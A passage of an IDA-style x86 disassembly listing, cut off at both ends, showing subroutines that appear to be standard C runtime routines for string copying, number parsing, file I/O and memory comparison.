3 jnz short loc_429D72 loc_429D84: ; CODE XREF: sub_429D10+60j mov ebx, ecx shr ecx, 2 jnz short loc_429DF7 loc_429D8B: ; CODE XREF: sub_429D10+7Fj ; sub_429D10+F4j mov [edi], al inc edi loc_429D8E: ; CODE XREF: sub_429D10+4Dj dec ebx jnz short loc_429D8B pop ebx pop esi loc_429D93: ; CODE XREF: sub_429D10+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_429D99: ; CODE XREF: sub_429D10+A9j ; sub_429D10+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_429D50 loc_429DA1: ; CODE XREF: sub_429D10+20j ; sub_429D10+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_429D99 test dl, dl jz short loc_429DEB test dh, dh jz short loc_429DE1 test edx, 0FF0000h jz short loc_429DD7 test edx, 0FF000000h jnz short loc_429D99 mov [edi], edx jmp short loc_429DEF ; --------------------------------------------------------------------------- loc_429DD7: ; CODE XREF: sub_429D10+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_429DEF ; --------------------------------------------------------------------------- loc_429DE1: ; CODE XREF: sub_429D10+B1j and edx, 0FFh mov [edi], edx jmp short loc_429DEF ; --------------------------------------------------------------------------- loc_429DEB: ; CODE XREF: sub_429D10+ADj xor edx, edx mov [edi], edx loc_429DEF: ; CODE XREF: sub_429D10+C5j ; sub_429D10+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_429E01 loc_429DF7: ; CODE XREF: sub_429D10+79j xor eax, eax loc_429DF9: ; CODE XREF: sub_429D10+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_429DF9 loc_429E01: ; CODE XREF: sub_429D10+E5j and ebx, 3 jnz short loc_429D8B loc_429E06: ; CODE XREF: sub_429D10+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_429D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429E0E proc near ; CODE XREF: sub_40222C+43p ; sub_402CE9+27Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_4293A0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_42E5F5 add esp, 10h leave retn sub_429E0E endp ; =============== S U B R O U T I N E ======================================= sub_429E42 proc near ; CODE XREF: sub_42C70D+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_429E59 add esp, 10h retn sub_429E42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429E59 proc near ; CODE XREF: sub_429E42+Ep ; sub_42A05E+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_429E71: ; CODE XREF: sub_429E59+46j cmp dword_4535C4, 1 jle short loc_429E89 movzx eax, bl push 8 push eax call sub_42F12B pop ecx pop ecx jmp short loc_429E98 ; --------------------------------------------------------------------------- loc_429E89: ; CODE XREF: sub_429E59+1Fj mov ecx, off_4533B8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_429E98: ; CODE XREF: sub_429E59+2Ej test eax, eax jz short loc_429EA1 mov bl, [esi] inc esi jmp short loc_429E71 ; --------------------------------------------------------------------------- loc_429EA1: ; CODE XREF: sub_429E59+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_429EAF or [ebp+arg_C], 2 jmp short loc_429EB4 ; --------------------------------------------------------------------------- loc_429EAF: ; CODE XREF: sub_429E59+4Ej cmp bl, 2Bh jnz short loc_429EBA loc_429EB4: ; CODE XREF: sub_429E59+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_429EBA: ; CODE XREF: sub_429E59+59j mov eax, [ebp+arg_8] test eax, eax jl loc_42A04E cmp eax, 1 jz loc_42A04E cmp eax, 24h jg loc_42A04E push 10h test eax, eax pop ecx jnz short loc_429F02 cmp bl, 30h jz short loc_429EEC mov [ebp+arg_8], 0Ah jmp short loc_429F1E ; --------------------------------------------------------------------------- loc_429EEC: ; CODE XREF: sub_429E59+88j mov al, [esi] cmp al, 78h jz short loc_429EFF cmp al, 58h jz short loc_429EFF mov [ebp+arg_8], 8 jmp short loc_429F1E ; --------------------------------------------------------------------------- loc_429EFF: ; CODE XREF: sub_429E59+97j ; sub_429E59+9Bj mov [ebp+arg_8], ecx loc_429F02: ; CODE XREF: sub_429E59+83j cmp [ebp+arg_8], ecx jnz short loc_429F1E cmp bl, 30h jnz short loc_429F1E mov al, [esi] cmp al, 78h jz short loc_429F16 cmp al, 58h jnz short loc_429F1E loc_429F16: ; CODE XREF: sub_429E59+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_429F1E: ; CODE XREF: sub_429E59+91j ; sub_429E59+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_429F2E: ; CODE XREF: sub_429E59+16Cj cmp dword_4535C4, 1 movzx esi, bl jle short loc_429F46 push 4 push esi call sub_42F12B pop ecx pop ecx jmp short loc_429F51 ; --------------------------------------------------------------------------- loc_429F46: ; CODE XREF: sub_429E59+DFj mov eax, off_4533B8 mov al, [eax+esi*2] and eax, 4 loc_429F51: ; CODE XREF: sub_429E59+EBj test eax, eax jz short loc_429F5D movsx ecx, bl sub ecx, 30h jmp short loc_429F8F ; --------------------------------------------------------------------------- loc_429F5D: ; CODE XREF: sub_429E59+FAj cmp dword_4535C4, 1 jle short loc_429F71 push edi push esi call sub_42F12B pop ecx pop ecx jmp short loc_429F7C ; --------------------------------------------------------------------------- loc_429F71: ; CODE XREF: sub_429E59+10Bj mov eax, off_4533B8 mov ax, [eax+esi*2] and eax, edi loc_429F7C: ; CODE XREF: sub_429E59+116j test eax, eax jz short loc_429FCA movsx eax, bl push eax call sub_42C278 pop ecx mov ecx, eax sub ecx, 37h loc_429F8F: ; CODE XREF: sub_429E59+102j cmp ecx, [ebp+arg_8] jnb short loc_429FCA mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_429FB4 jnz short loc_429FAE or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_429FB4 loc_429FAE: ; CODE XREF: sub_429E59+147j or [ebp+arg_C], 4 jmp short loc_429FBD ; --------------------------------------------------------------------------- loc_429FB4: ; CODE XREF: sub_429E59+145j ; sub_429E59+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_429FBD: ; CODE XREF: sub_429E59+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_429F2E ; --------------------------------------------------------------------------- loc_429FCA: ; CODE XREF: sub_429E59+125j ; sub_429E59+139j mov eax, [ebp+arg_C] dec [ebp+var_4] mov ebx, [ebp+arg_4] test al, 8 jnz short loc_429FE7 test ebx, ebx jz short loc_429FE1 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_429FE1: ; CODE XREF: sub_429E59+180j and [ebp+var_8], 0 jmp short loc_42A032 ; --------------------------------------------------------------------------- loc_429FE7: ; CODE XREF: sub_429E59+17Cj test al, 4 mov esi, 7FFFFFFFh jnz short loc_42A00B test al, 1 jnz short loc_42A032 and eax, 2 jz short loc_42A002 cmp [ebp+var_8], 80000000h ja short loc_42A00B loc_42A002: ; CODE XREF: sub_429E59+19Ej test eax, eax jnz short loc_42A032 cmp [ebp+var_8], esi jbe short loc_42A032 loc_42A00B: ; CODE XREF: sub_429E59+195j ; sub_429E59+1A7j call sub_42F119 test byte ptr [ebp+arg_C], 1 mov dword ptr [eax], 22h jz short loc_42A022 or [ebp+var_8], 0FFFFFFFFh jmp short loc_42A032 ; --------------------------------------------------------------------------- loc_42A022: ; CODE XREF: sub_429E59+1C1j mov eax, [ebp+arg_C] and al, 2 neg al sbb eax, eax neg eax add eax, esi mov [ebp+var_8], eax loc_42A032: ; CODE XREF: sub_429E59+18Cj ; sub_429E59+199j ... test ebx, ebx jz short loc_42A03B mov eax, [ebp+var_4] mov [ebx], eax loc_42A03B: ; CODE XREF: sub_429E59+1DBj test byte ptr [ebp+arg_C], 2 jz short loc_42A049 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_42A049: ; CODE XREF: sub_429E59+1E6j mov eax, [ebp+var_8] jmp short loc_42A059 ; --------------------------------------------------------------------------- loc_42A04E: ; CODE XREF: sub_429E59+66j ; sub_429E59+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_42A057 mov [eax], edi loc_42A057: ; CODE XREF: sub_429E59+1FAj xor eax, eax loc_42A059: ; CODE XREF: sub_429E59+1F3j pop edi pop esi pop ebx leave retn sub_429E59 endp ; =============== S U B R O U T I N E ======================================= sub_42A05E proc near ; CODE XREF: sub_402CE9+37Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_429E59 add esp, 10h retn sub_42A05E endp ; =============== S U B R O U T I N E ======================================= sub_42A075 proc near ; CODE XREF: sub_42A100+4p ; sub_4339B6+1C1p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_42A07D: ; CODE XREF: sub_42A075+34j cmp dword_4535C4, 1 jle short loc_42A095 movzx eax, byte ptr [edi] push 8 push eax call sub_42F12B pop ecx pop ecx jmp short loc_42A0A4 ; --------------------------------------------------------------------------- loc_42A095: ; CODE XREF: sub_42A075+Fj movzx eax, byte ptr [edi] mov ecx, off_4533B8 mov al, [ecx+eax*2] and eax, 8 loc_42A0A4: ; CODE XREF: sub_42A075+1Ej test eax, eax jz short loc_42A0AB inc edi jmp short loc_42A07D ; --------------------------------------------------------------------------- loc_42A0AB: ; CODE XREF: sub_42A075+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_42A0BB cmp esi, 2Bh jnz short loc_42A0BF loc_42A0BB: ; CODE XREF: sub_42A075+3Fj movzx esi, byte ptr [edi] inc edi loc_42A0BF: ; CODE XREF: sub_42A075+44j xor ebx, ebx loc_42A0C1: ; CODE XREF: sub_42A075+7Bj cmp dword_4535C4, 1 jle short loc_42A0D6 push 4 push esi call sub_42F12B pop ecx pop ecx jmp short loc_42A0E1 ; --------------------------------------------------------------------------- loc_42A0D6: ; CODE XREF: sub_42A075+53j mov eax, off_4533B8 mov al, [eax+esi*2] and eax, 4 loc_42A0E1: ; CODE XREF: sub_42A075+5Fj test eax, eax jz short loc_42A0F2 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_42A0C1 ; --------------------------------------------------------------------------- loc_42A0F2: ; CODE XREF: sub_42A075+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_42A0FB neg eax loc_42A0FB: ; CODE XREF: sub_42A075+82j pop edi pop esi pop ebp pop ebx retn sub_42A075 endp ; =============== S U B R O U T I N E ======================================= sub_42A100 proc near ; CODE XREF: sub_402CE9+336p ; sub_402CE9+344p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_42A075 pop ecx retn sub_42A100 endp ; =============== S U B R O U T I N E ======================================= sub_42A10B proc near ; CODE XREF: sub_4032D2+B0p ; sub_40A9FE+4B46p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh test byte ptr [esi+0Ch], 40h jz short loc_42A120 and dword ptr [esi+0Ch], 0 jmp short loc_42A137 ; --------------------------------------------------------------------------- loc_42A120: ; CODE XREF: sub_42A10B+Dj push esi call sub_42C1D4 push esi call sub_42A13C push esi mov edi, eax call sub_42C226 add esp, 0Ch loc_42A137: ; CODE XREF: sub_42A10B+13j mov eax, edi pop edi pop esi retn sub_42A10B endp ; =============== S U B R O U T I N E ======================================= sub_42A13C proc near ; CODE XREF: sub_42A10B+1Cp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh test byte ptr [esi+0Ch], 83h jz short loc_42A17F push esi call sub_42F2D9 push esi mov edi, eax call sub_42F280 push dword ptr [esi+10h] call sub_42F1A0 add esp, 0Ch test eax, eax jge short loc_42A16D or edi, 0FFFFFFFFh jmp short loc_42A17F ; --------------------------------------------------------------------------- loc_42A16D: ; CODE XREF: sub_42A13C+2Aj mov eax, [esi+1Ch] test eax, eax jz short loc_42A17F push eax call sub_4298F2 and dword ptr [esi+1Ch], 0 pop ecx loc_42A17F: ; CODE XREF: sub_42A13C+Dj ; sub_42A13C+2Fj ... and dword ptr [esi+0Ch], 0 mov eax, edi pop edi pop esi retn sub_42A13C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A188 proc near ; CODE XREF: sub_4032D2+83p ; .text:0040A3B9p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push [ebp+arg_C] call sub_42C1D4 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_42A1B7 push [ebp+arg_C] mov esi, eax call sub_42C226 add esp, 18h mov eax, esi pop esi pop ebp retn sub_42A188 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A1B7 proc near ; CODE XREF: sub_42A188+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_42A1DB xor eax, eax jmp loc_42A284 ; --------------------------------------------------------------------------- loc_42A1DB: ; CODE XREF: sub_42A1B7+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_42A1EE mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_42A1FA ; --------------------------------------------------------------------------- loc_42A1EE: ; CODE XREF: sub_42A1B7+2Dj mov [ebp+arg_C], 1000h jmp short loc_42A1FA ; --------------------------------------------------------------------------- loc_42A1F7: ; CODE XREF: sub_42A1B7+C4j mov ecx, [ebp+arg_0] loc_42A1FA: ; CODE XREF: sub_42A1B7+35j ; sub_42A1B7+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_42A22C mov eax, [esi+4] test eax, eax jz short loc_42A22C cmp ecx, eax mov edi, ecx jb short loc_42A211 mov edi, eax loc_42A211: ; CODE XREF: sub_42A1B7+56j push edi push dword ptr [esi] push ebx call sub_429420 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_42A277 ; --------------------------------------------------------------------------- loc_42A22C: ; CODE XREF: sub_42A1B7+49j ; sub_42A1B7+50j cmp ecx, [ebp+arg_C] jb short loc_42A25F cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_42A242 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_42A242: ; CODE XREF: sub_42A1B7+80j push eax push ebx push dword ptr [esi+10h] call sub_42F4BE add esp, 0Ch test eax, eax jz short loc_42A289 cmp eax, 0FFFFFFFFh jz short loc_42A28F sub [ebp+arg_0], eax add ebx, eax jmp short loc_42A277 ; --------------------------------------------------------------------------- loc_42A25F: ; CODE XREF: sub_42A1B7+78j push esi call sub_42F3E2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_42A293 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_42A277: ; CODE XREF: sub_42A1B7+73j ; sub_42A1B7+A6j cmp [ebp+arg_0], 0 jnz loc_42A1F7 mov eax, [ebp+arg_8] loc_42A284: ; CODE XREF: sub_42A1B7+1Fj ; sub_42A1B7+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42A289: ; CODE XREF: sub_42A1B7+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_42A293 ; --------------------------------------------------------------------------- loc_42A28F: ; CODE XREF: sub_42A1B7+9Fj or dword ptr [esi+0Ch], 20h loc_42A293: ; CODE XREF: sub_42A1B7+B2j ; sub_42A1B7+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_42A284 sub_42A1B7 endp ; =============== S U B R O U T I N E ======================================= sub_42A29F proc near ; CODE XREF: sub_4032D2+4Dp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_42C1D4 push esi call sub_42A2C1 push esi mov edi, eax call sub_42C226 add esp, 0Ch mov eax, edi pop edi pop esi retn sub_42A29F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A2C1 proc near ; CODE XREF: sub_42A29F+Dp ; sub_42A44E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_42A2DD mov [edi+4], ebx loc_42A2DD: ; CODE XREF: sub_42A2C1+17j push 1 push ebx push esi call sub_42F8B8 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42A34F mov ecx, [edi+0Ch] test cx, 108h jnz short loc_42A302 sub eax, [edi+4] jmp loc_42A41D ; --------------------------------------------------------------------------- loc_42A302: ; CODE XREF: sub_42A2C1+37j mov eax, [edi] mov edx, [edi+8] mov ebx, eax sub ebx, edx test cl, 3 mov [ebp+var_8], ebx jz short loc_42A33F mov ebx, esi mov ecx, esi sar ebx, 5 and ecx, 1Fh mov ebx, dword_676EE0[ebx*4] lea ecx, [ecx+ecx*8] test byte ptr [ebx+ecx*4+4], 80h jz short loc_42A357 mov ecx, edx loc_42A330: ; CODE XREF: sub_42A2C1+7Cj cmp ecx, eax jnb short loc_42A357 cmp byte ptr [ecx], 0Ah jnz short loc_42A33C inc [ebp+var_8] loc_42A33C: ; CODE XREF: sub_42A2C1+76j inc ecx jmp short loc_42A330 ; --------------------------------------------------------------------------- loc_42A33F: ; CODE XREF: sub_42A2C1+50j test cl, 80h jnz short loc_42A357 call sub_42F119 mov dword ptr [eax], 16h loc_42A34F: ; CODE XREF: sub_42A2C1+2Dj or eax, 0FFFFFFFFh jmp loc_42A41D ; --------------------------------------------------------------------------- loc_42A357: ; CODE XREF: sub_42A2C1+6Bj ; sub_42A2C1+71j ... cmp [ebp+var_4], 0 jnz short loc_42A365 mov eax, [ebp+var_8] jmp loc_42A41D ; --------------------------------------------------------------------------- loc_42A365: ; CODE XREF: sub_42A2C1+9Aj test byte ptr [edi+0Ch], 1 jz loc_42A415 mov ecx, [edi+4] test ecx, ecx jnz short loc_42A37E and [ebp+var_8], ecx jmp loc_42A415 ; --------------------------------------------------------------------------- loc_42A37E: ; CODE XREF: sub_42A2C1+B3j sub eax, edx add eax, ecx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 lea ebx, ds:676EE0h[eax*4] mov eax, esi and eax, 1Fh lea esi, [eax+eax*8] mov eax, [ebx] shl esi, 2 test byte ptr [esi+eax+4], 80h jz short loc_42A40F push 2 push 0 push [ebp+var_C] call sub_42F8B8 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_42A3D6 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_42A3C1: ; CODE XREF: sub_42A2C1+10Dj cmp eax, ecx jnb short loc_42A3D0 cmp byte ptr [eax], 0Ah jnz short loc_42A3CD inc [ebp+arg_0] loc_42A3CD: ; CODE XREF: sub_42A2C1+107j inc eax jmp short loc_42A3C1 ; --------------------------------------------------------------------------- loc_42A3D0: ; CODE XREF: sub_42A2C1+102j test byte ptr [edi+0Dh], 20h jmp short loc_42A40A ; --------------------------------------------------------------------------- loc_42A3D6: ; CODE XREF: sub_42A2C1+F6j push 0 push [ebp+var_4] push [ebp+var_C] call sub_42F8B8 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_42A3FD mov ecx, [edi+0Ch] test cl, 8 jz short loc_42A3FD test ch, 4 jz short loc_42A400 loc_42A3FD: ; CODE XREF: sub_42A2C1+12Dj ; sub_42A2C1+135j mov eax, [edi+18h] loc_42A400: ; CODE XREF: sub_42A2C1+13Aj mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_42A40A: ; CODE XREF: sub_42A2C1+113j jz short loc_42A40F inc [ebp+arg_0] loc_42A40F: ; CODE XREF: sub_42A2C1+E2j ; sub_42A2C1:loc_42A40Aj mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_42A415: ; CODE XREF: sub_42A2C1+A8j ; sub_42A2C1+B8j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_42A41D: ; CODE XREF: sub_42A2C1+3Cj ; sub_42A2C1+91j ... pop edi pop esi pop ebx leave retn sub_42A2C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A422 proc near ; CODE XREF: sub_4032D2+47p ; sub_4032D2+58p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push [ebp+arg_0] call sub_42C1D4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_42A44E push [ebp+arg_0] mov esi, eax call sub_42C226 add esp, 14h mov eax, esi pop esi pop ebp retn sub_42A422 endp ; =============== S U B R O U T I N E ======================================= sub_42A44E proc near ; CODE XREF: sub_42A422+15p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_42A4CA mov edi, [esp+8+arg_8] test edi, edi jz short loc_42A46D cmp edi, 1 jz short loc_42A46D cmp edi, 2 jnz short loc_42A4CA loc_42A46D: ; CODE XREF: sub_42A44E+13j ; sub_42A44E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_42A484 push esi call sub_42A2C1 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_42A484: ; CODE XREF: sub_42A44E+27j push esi call sub_42F2D9 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_42A499 and al, 0FCh mov [esi+0Ch], eax jmp short loc_42A4AD ; --------------------------------------------------------------------------- loc_42A499: ; CODE XREF: sub_42A44E+42j test al, 1 jz short loc_42A4AD test al, 8 jz short loc_42A4AD test ah, 4 jnz short loc_42A4AD mov dword ptr [esi+18h], 200h loc_42A4AD: ; CODE XREF: sub_42A44E+49j ; sub_42A44E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_42F8B8 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_42A4D8 ; --------------------------------------------------------------------------- loc_42A4CA: ; CODE XREF: sub_42A44E+Bj ; sub_42A44E+1Dj call sub_42F119 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh loc_42A4D8: ; CODE XREF: sub_42A44E+7Aj pop edi pop esi retn sub_42A44E endp ; =============== S U B R O U T I N E ======================================= sub_42A4DB proc near ; CODE XREF: sub_42A50C+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi call sub_42FB00 mov esi, eax test esi, esi jnz short loc_42A4E9 pop esi retn ; --------------------------------------------------------------------------- loc_42A4E9: ; CODE XREF: sub_42A4DB+Aj push edi push esi push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_42F990 push esi mov edi, eax call sub_42C226 add esp, 14h mov eax, edi pop edi pop esi retn sub_42A4DB endp ; =============== S U B R O U T I N E ======================================= sub_42A50C proc near ; CODE XREF: sub_4032D2+31p ; .text:0040A29Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_42A4DB add esp, 0Ch retn sub_42A50C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42A520 proc near ; CODE XREF: sub_4044ED+1Dp ; sub_404525+34Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_42A56C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_42A56D test eax, 1 jz short loc_42A54D mov cl, [esi] cmp cl, [edi] jnz short loc_42A59A inc esi inc edi dec eax jz short loc_42A56A loc_42A54D: ; CODE XREF: sub_42A520+20j ; sub_42A520+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_42A59A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_42A59A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_42A54D loc_42A56A: ; CODE XREF: sub_42A520+2Bj ; sub_42A520+84j pop edi pop esi locret_42A56C: ; CODE XREF: sub_42A520+6j retn ; --------------------------------------------------------------------------- loc_42A56D: ; CODE XREF: sub_42A520+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_42A5A2 repe cmpsd jz short loc_42A5A2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_42A595 cmp ch, dh jnz short loc_42A595 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_42A595 cmp ch, dh loc_42A595: ; CODE XREF: sub_42A520+63j ; sub_42A520+67j ... mov eax, 0 loc_42A59A: ; CODE XREF: sub_42A520+26j ; sub_42A520+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42A5A2: ; CODE XREF: sub_42A520+55j ; sub_42A520+59j test eax, eax jz short loc_42A56A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_42A595 dec eax jz short loc_42A5C9 cmp dh, ch jnz short loc_42A595 dec eax jz short loc_42A5C9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_42A595 dec eax loc_42A5C9: ; CODE XREF: sub_42A520+8Fj ; sub_42A520+96j pop edi pop esi retn sub_42A520 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42A5D0 proc near ; CODE XREF: sub_404525+18Ep ; sub_404525+9EAp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_42A641 sub_42A5D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42A5E0 proc near ; CODE XREF: sub_40A9FE+2673p ; sub_40A9FE+2697p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_42A5FC loc_42A5ED: ; CODE XREF: sub_42A5E0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_42A62F test ecx, 3 jnz short loc_42A5ED loc_42A5FC: ; CODE XREF: sub_42A5E0+Bj ; sub_42A5E0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_42A5FC mov eax, [ecx-4] test al, al jz short loc_42A63E test ah, ah jz short loc_42A639 test eax, 0FF0000h jz short loc_42A634 test eax, 0FF000000h jz short loc_42A62F jmp short loc_42A5FC ; --------------------------------------------------------------------------- loc_42A62F: ; CODE XREF: sub_42A5E0+12j ; sub_42A5E0+4Bj lea edi, [ecx-1] jmp short loc_42A641 ; --------------------------------------------------------------------------- loc_42A634: ; CODE XREF: sub_42A5E0+44j lea edi, [ecx-2] jmp short loc_42A641 ; --------------------------------------------------------------------------- loc_42A639: ; CODE XREF: sub_42A5E0+3Dj lea edi, [ecx-3] jmp short loc_42A641 ; --------------------------------------------------------------------------- loc_42A63E: ; CODE XREF: sub_42A5E0+39j lea edi, [ecx-4] loc_42A641: ; CODE XREF: sub_42A5D0+5j ; sub_42A5E0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_42A666 loc_42A64D: ; CODE XREF: sub_42A5E0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_42A6B8 mov [edi], dl inc edi test ecx, 3 jnz short loc_42A64D jmp short loc_42A666 ; --------------------------------------------------------------------------- loc_42A661: ; CODE XREF: sub_42A5E0+9Ej ; sub_42A5E0+B8j mov [edi], edx add edi, 4 loc_42A666: ; CODE XREF: sub_42A5E0+6Bj ; sub_42A5E0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_42A661 test dl, dl jz short loc_42A6B8 test 